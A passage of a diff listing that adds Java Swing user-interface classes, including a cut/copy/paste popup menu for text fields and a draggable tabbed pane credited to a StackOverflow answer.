public void mouseClicked(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseReleased(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,83 @@
|
||||||
|
package ui;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
|
||||||
|
/* A textfield with a popup menu to cut, copy, paste, and clear the textfield */
|
||||||
|
public class CutCopyPastePopup {
|
||||||
|
protected JPopupMenu menu = null;
|
||||||
|
protected JTextComponent component = null;
|
||||||
|
|
||||||
|
public CutCopyPastePopup(JTextComponent component) {
|
||||||
|
this.component = component;
|
||||||
|
createMenu();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void createMenu() {
|
||||||
|
if (menu != null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
menu = new JPopupMenu();
|
||||||
|
JMenuItem cut = new JMenuItem("Cut", 'C');
|
||||||
|
|
||||||
|
cut.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
component.cut();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
JMenuItem copy = new JMenuItem("Copy", 'o');
|
||||||
|
|
||||||
|
copy.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
component.copy();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
JMenuItem paste = new JMenuItem("Paste", 'p');
|
||||||
|
|
||||||
|
paste.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
component.paste();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
JMenuItem clear = new JMenuItem("Clear", 'l');
|
||||||
|
|
||||||
|
clear.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
component.setText("");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
menu.add(cut);
|
||||||
|
menu.add(copy);
|
||||||
|
menu.add(paste);
|
||||||
|
menu.add(clear);
|
||||||
|
|
||||||
|
component.addMouseListener(new MouseAdapter() {
|
||||||
|
public void handle(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger()) {
|
||||||
|
menu.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mousePressed(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseReleased(MouseEvent ev) {
|
||||||
|
handle(ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,113 @@
|
||||||
|
package ui;
|
||||||
|
|
||||||
|
import java.awt.Component;
|
||||||
|
import java.awt.Graphics;
|
||||||
|
import java.awt.Image;
|
||||||
|
import java.awt.Point;
|
||||||
|
import java.awt.Rectangle;
|
||||||
|
import java.awt.event.MouseAdapter;
|
||||||
|
import java.awt.event.MouseEvent;
|
||||||
|
import java.awt.event.MouseMotionAdapter;
|
||||||
|
import java.awt.image.BufferedImage;
|
||||||
|
|
||||||
|
import javax.swing.JButton;
|
||||||
|
import javax.swing.JFrame;
|
||||||
|
import javax.swing.JTabbedPane;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Adapted from: http://stackoverflow.com/questions/60269/how-to-implement-draggable-tab-using-java-swing
|
||||||
|
* Original author: Tom Martin
|
||||||
|
* StackOverflow.com contents is Creative Commons Share-Alike (Attribution Required) license
|
||||||
|
*
|
||||||
|
* Thanks Tom for the excellent example.
|
||||||
|
*/
|
||||||
|
public class DraggableTabbedPane extends JTabbedPane {
|
||||||
|
|
||||||
|
private boolean dragging = false;
|
||||||
|
private Image tabImage = null;
|
||||||
|
private Point currentMouseLocation = null;
|
||||||
|
private int draggedTabIndex = 0;
|
||||||
|
|
||||||
|
public DraggableTabbedPane() {
|
||||||
|
super();
|
||||||
|
addMouseMotionListener(new MouseMotionAdapter() {
|
||||||
|
public void mouseDragged(MouseEvent e) {
|
||||||
|
if(!dragging) {
|
||||||
|
// Gets the tab index based on the mouse position
|
||||||
|
int tabNumber = getUI().tabForCoordinate(DraggableTabbedPane.this, e.getX(), e.getY());
|
||||||
|
|
||||||
|
if(tabNumber >= 0) {
|
||||||
|
draggedTabIndex = tabNumber;
|
||||||
|
Rectangle bounds = getUI().getTabBounds(DraggableTabbedPane.this, tabNumber);
|
||||||
|
|
||||||
|
// Paint the tabbed pane to a buffer
|
||||||
|
Image totalImage = new BufferedImage(getWidth(), getHeight(), BufferedImage.TYPE_INT_ARGB);
|
||||||
|
Graphics totalGraphics = totalImage.getGraphics();
|
||||||
|
totalGraphics.setClip(bounds);
|
||||||
|
|
||||||
|
// Don't be double buffered when painting to a static image.
|
||||||
|
setDoubleBuffered(false);
|
||||||
|
paint(totalGraphics);
|
||||||
|
|
||||||
|
// Paint just the dragged tab to the buffer
|
||||||
|
tabImage = new BufferedImage(bounds.width, bounds.height, BufferedImage.TYPE_INT_ARGB);
|
||||||
|
Graphics graphics = tabImage.getGraphics();
|
||||||
|
graphics.drawImage(totalImage, 0, 0, bounds.width, bounds.height, bounds.x, bounds.y, bounds.x + bounds.width, bounds.y+bounds.height, DraggableTabbedPane.this);
|
||||||
|
|
||||||
|
dragging = true;
|
||||||
|
repaint();
|
||||||
|
|
||||||
|
graphics.dispose();
|
||||||
|
totalGraphics.dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
currentMouseLocation = e.getPoint();
|
||||||
|
|
||||||
|
// Need to repaint
|
||||||
|
repaint();
|
||||||
|
}
|
||||||
|
|
||||||
|
super.mouseDragged(e);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addMouseListener(new MouseAdapter() {
|
||||||
|
public void mouseReleased(MouseEvent e) {
|
||||||
|
|
||||||
|
if(dragging) {
|
||||||
|
int tabNumber = getUI().tabForCoordinate(DraggableTabbedPane.this, e.getX(), 10);
|
||||||
|
|
||||||
|
if (e.getX() < 0) {
|
||||||
|
tabNumber = 0;
|
||||||
|
}
|
||||||
|
else if (tabNumber == -1) {
|
||||||
|
tabNumber = getTabCount() - 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (tabNumber >= 0) {
|
||||||
|
Component comp = getComponentAt(draggedTabIndex);
|
||||||
|
Component title = getTabComponentAt(draggedTabIndex);
|
||||||
|
removeTabAt(draggedTabIndex);
|
||||||
|
insertTab("", null, comp, null, tabNumber);
|
||||||
|
setTabComponentAt(tabNumber, title);
|
||||||
|
setSelectedIndex(tabNumber);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dragging = false;
|
||||||
|
tabImage = null;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void paintComponent(Graphics g) {
|
||||||
|
super.paintComponent(g);
|
||||||
|
|
||||||
|
// Are we dragging?
|
||||||
|
if(dragging && currentMouseLocation != null && tabImage != null) {
|
||||||
|
// Draw the dragged tab
|
||||||
|
g.drawImage(tabImage, currentMouseLocation.x, currentMouseLocation.y, this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|